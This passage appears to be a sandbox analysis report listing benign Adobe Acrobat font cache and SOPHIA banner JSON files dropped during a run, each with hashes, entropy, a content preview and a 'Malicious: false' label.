SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.3468

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.3468

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.373410986564328
Encrypted:	false
SSDEEP:	6:YEQXJ2HXtHv8gGWe0nZiQ0YuKKoAvJM3g98kUwPeUkwRe9:YvXKXtHGn0cjYGMbLUkee9
MD5:	0FAE7D2616AD2CF9DB6F4F19BF884156
SHA1:	2FC1948FFF4BB9D745A2608896946E9A0FFBBDEC
SHA-256:	28F45B21B1D3FD4F6432C32E25C81A2DB37A2085EF393E39805A0C15C7B7909C
SHA-512:	4110EC2A6FA741B4FD550E39C37B14E8589F215064367B68D51F226CAD8353C51C328B832F9FFD9E1A40B7082278C511DD0C97608017CAAA72296D27DFA168D2
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"57c77bab-6ded-4621-bff1-1eb588a9337f","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736721304519,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.324844720100519
Encrypted:	false
SSDEEP:	6:YEQXJ2HXtHv8gGWe0nZiQ0YuKKoAvJfBoTfXpnrPeUkwRe9:YvXKXtHGn0cjYGWTfXcUkee9
MD5:	0A30A21A1515BB39843CD8B360A9E2B9
SHA1:	E81032AEBF87664FBD51DD16A437C7A29E094176
SHA-256:	FF9950C7BD2001D13B8C6CF262040BA5987E2739EB7B5A5FA6A9C69DE4B61883
SHA-512:	21C27AE3E7077EA7CA9AF699155513273BE839E344A6526167B33BD1534D272A038B2F798EAC27730FB4AAF0B502D8C24EDC90946D217FC8C883DF8A9374E2FE
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"57c77bab-6ded-4621-bff1-1eb588a9337f","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736721304519,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.303839755495596
Encrypted:	false
SSDEEP:	6:YEQXJ2HXtHv8gGWe0nZiQ0YuKKoAvJfBD2G6UpnrPeUkwRe9:YvXKXtHGn0cjYGR22cUkee9
MD5:	BDD2FD51B0F5BC1AD238BACE247E71DA
SHA1:	9C0CB6F37A1F729C06790E1CDAC131FEA4564781
SHA-256:	5C613AD779258EB7446A26FC90D496F136540A46A89A718BFCD050CCD000A2DD
SHA-512:	12E7DE78AEF75A48906A0D9DF79B7BB3973BE3EE56C501C240C066A07A9FD5A5530585639EAD6CEC2DF2EB3E6A08CEA4ACAB39283110772B7B20026379085553
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"57c77bab-6ded-4621-bff1-1eb588a9337f","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736721304519,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.353786109605356
Encrypted:	false
SSDEEP:	6:YEQXJ2HXtHv8gGWe0nZiQ0YuKKoAvJfPmwrPeUkwRe9:YvXKXtHGn0cjYGH56Ukee9
MD5:	8AB668C04509E8072032D12E9A8C2385
SHA1:	EAF4939A5804E947E669A4435B2FAFFCEC99B914
SHA-256:	42EDDBE91AAF4E587B075E150A748B40E4ECD6819AADAB0BBBE23806AF3E0AB4
SHA-512:	6D624A49960C29505A61F16FF3C4800D7C77DCBCEC882AA08F038C447F004FE12D6BECEA2CB47F499C4B9FAC8820695D7A384DA1EFA29022950824BC9A6690ED
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"57c77bab-6ded-4621-bff1-1eb588a9337f","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736721304519,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.690378891926389
Encrypted:	false
SSDEEP:	24:Yv6Xt8Zj1pLgE9cQx8LennAvzBvkn0RCmK8czOCCSRS:Yvcahgy6SAFv5Ah8cv/Y
MD5:	9CFF94885750880194C4F7BDDB884A76
SHA1:	43D7100F0A6E5D5E4FBC6977E1298B5665E4CADB
SHA-256:	048DADBAAC408726C9E98F3044BD8E75979DB7CA40C61ACCE47A92807D67BFE2
SHA-512:	A6890422127C3D458B92B3C43910D45D3F88333327493C0FE810BD847043AA99E5CDE94CC13E152897A668BA76E9387D8611F9B659A144E3FF84663302166403
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"57c77bab-6ded-4621-bff1-1eb588a9337f","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736721304519,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.303139389372542
Encrypted:	false
SSDEEP:	6:YEQXJ2HXtHv8gGWe0nZiQ0YuKKoAvJf8dPeUkwRe9:YvXKXtHGn0cjYGU8Ukee9
MD5:	9A10BB0B75F2D72AF4838D9910CFEA0F
SHA1:	ACE9EBE78A468B834A6E78DC34A7BB3B873F7082
SHA-256:	74B5DEC9263949102802FB14026155E7616CB5DB8B79CA3C580555F75FF73BA0
SHA-512:	93EA87F5CF229D348C48D9E619F68AAAF8235E46BD0C3261492266B0030CDA89B57D9CC7D96B4B6A6EA936905208BC51025AE2C785C35CD1781A7380B87D523E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"57c77bab-6ded-4621-bff1-1eb588a9337f","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736721304519,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.305759387514966
Encrypted:	false
SSDEEP:	6:YEQXJ2HXtHv8gGWe0nZiQ0YuKKoAvJfQ1rPeUkwRe9:YvXKXtHGn0cjYGY16Ukee9
MD5:	E538D0EBC34B4AE3D342528EC637500B
SHA1:	18994B3286859DAE6287733FC66885768B3A6CD4
SHA-256:	8D4AD0193CEABB3CF95367DF4912DBB80FB0AA630A05581DFFA3129FDB6C7C50
SHA-512:	7FFF1D1EE57FD0F0638640B56B509180FC0AEBB5380E46B3ECDD96BBF87D317DD2C07CF0D5548D67D045C9FFABA78823E8A126A5D08B9B5FC9875FD59FC6296D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"57c77bab-6ded-4621-bff1-1eb588a9337f","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736721304519,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.313123890281344
Encrypted:	false
SSDEEP:	6:YEQXJ2HXtHv8gGWe0nZiQ0YuKKoAvJfFldPeUkwRe9:YvXKXtHGn0cjYGz8Ukee9
MD5:	07C64402FB73C814A67F8D17A7A0FE64
SHA1:	BCD6D922C216D7017CDB9B95143C221E7E9DBD1B
SHA-256:	2037927CDE9D281AFB4D3E655A73387F376A406351AF2B4ABA651C245562D837
SHA-512:	D6FE1190760FE25DAED39374A1AB9E3E1010AB96D5A3CEBAE6CBCE8B93F7F2347CB58960DB37A80DE69EA7F5CBF9F6189CAEC369CA31925DC66FBC48BE9A58D2
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"57c77bab-6ded-4621-bff1-1eb588a9337f","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736721304519,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.329262236729426
Encrypted:	false
SSDEEP:	6:YEQXJ2HXtHv8gGWe0nZiQ0YuKKoAvJfzdPeUkwRe9:YvXKXtHGn0cjYGb8Ukee9
MD5:	57C42A2EC41E7233BC00A88A5AEE5B7D
SHA1:	06744F3D6BC3BE886501350B88F42DCD14756D35
SHA-256:	7DC303F24B6FF18BD86FE5424C831CEC682C34E0BA1B4D0AF6E57A184F66EE9E
SHA-512:	7945235F96ADD916FDD458151A57C25962E403EE64C5BDD949AF5AC83C6F27D577E8F4CE06DD6E05B8C9331DA91C7CFDCC30CD36E3E805EA44623938E5AE6E6E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"57c77bab-6ded-4621-bff1-1eb588a9337f","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736721304519,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.310111487097803
Encrypted:	false
SSDEEP:	6:YEQXJ2HXtHv8gGWe0nZiQ0YuKKoAvJfYdPeUkwRe9:YvXKXtHGn0cjYGg8Ukee9
MD5:	F667D22C777EE2D0508EBEBC7A1F1FF4
SHA1:	E9CDE1672B79700BFF316C1AD9F4C157D451132B
SHA-256:	FCF830AC801297ABEF4C603DBE22596B69EC32FF0715AAA479C479F81B36E09E
SHA-512:	DE494157F75015B28FDB7F765C91A78463FE61FE502089FE5631FD1191CBA365165B50364FA67251E7305A370C9017C1E942BC5C9C71FC9C89291C8FA2ED9232
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"57c77bab-6ded-4621-bff1-1eb588a9337f","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736721304519,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.296638869987363
Encrypted:	false
SSDEEP:	6:YEQXJ2HXtHv8gGWe0nZiQ0YuKKoAvJf+dPeUkwRe9:YvXKXtHGn0cjYG28Ukee9
MD5:	C5D4524E1E6B8BEA7DE55E020E7C2D20
SHA1:	13A414AAA7CEBB0D8F84D6D948B44B53E2208D27
SHA-256:	6A75886BDC4B2479249000FCEE3FEF74C6B39BD95682A83818ABCFC8E2141A77
SHA-512:	32B680BAA2714A9F5068EA7EC2F9A2EF2631F2FBADE96B4F35DCB1EE41FD0D45E970476F984C286A764EBD44AF89D599C29DAC8E5054A1B6CE86D56811A2A72B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"57c77bab-6ded-4621-bff1-1eb588a9337f","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736721304519,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.293589090014979
Encrypted:	false
SSDEEP:	6:YEQXJ2HXtHv8gGWe0nZiQ0YuKKoAvJfbPtdPeUkwRe9:YvXKXtHGn0cjYGDV8Ukee9
MD5:	732CDC5649C90D5B2270372B36B70D02
SHA1:	7438FEF5FF59D0150959056AF8D1A0BDADCA1E11
SHA-256:	3CA8CFFCC4268AAE76F3C93B073CD99FFD990BA405C28D45C881C5FB90CDDE33
SHA-512:	19D3A0D0993D257E3DA8A6028540BA6637B2A4BC1A56513C47BBA315A91F077D939BCC13E60387E712A58FA1DAEC303FD9187F264977541D8B61AC52E0A43F32
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"57c77bab-6ded-4621-bff1-1eb588a9337f","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736721304519,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.297110368409965
Encrypted:	false
SSDEEP:	6:YEQXJ2HXtHv8gGWe0nZiQ0YuKKoAvJf21rPeUkwRe9:YvXKXtHGn0cjYG+16Ukee9
MD5:	D50B6622C2387D284D1D3977F8C8E705
SHA1:	2EF743E48373E4A80EB9DCF354F04D29B7E0B28C
SHA-256:	A9731058C32FBB43B8EDBEA7252DE5819A2ED075A9281ADEC80BDF1B19953511
SHA-512:	B88DA0B4A7DA7D2C8D4E3228340926816AC6EE6EEC81D4477BA2C1D5B224D71F6AE72CFD9172B059F3233C79C711C3341F7E55E32EBA850627899A2ABC9C8649
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"57c77bab-6ded-4621-bff1-1eb588a9337f","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736721304519,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.666405832955936
Encrypted:	false
SSDEEP:	24:Yv6Xt8ZjtamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSRS:YvcIBgkDMUJUAh8cvMY
MD5:	87EB1A5DA7ED0FB6013477DFD62F6C46
SHA1:	6AAC0AECC6E26A274373F9EB838A1088BB44A1F0
SHA-256:	79B0C491246194EB57C75DD13AD429B0F84F526F87968801B33D1C9F9F94EEA7
SHA-512:	52506B0BACD9AD552B5809CBEF40B5E9B8DBDA25E86C0B04166267FDFE4C23ADA9A0FCBF8386F3EF398DFC0320DBBFB4CB257E22EB931D228A17B5730673CF39
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"57c77bab-6ded-4621-bff1-1eb588a9337f","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736721304519,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for 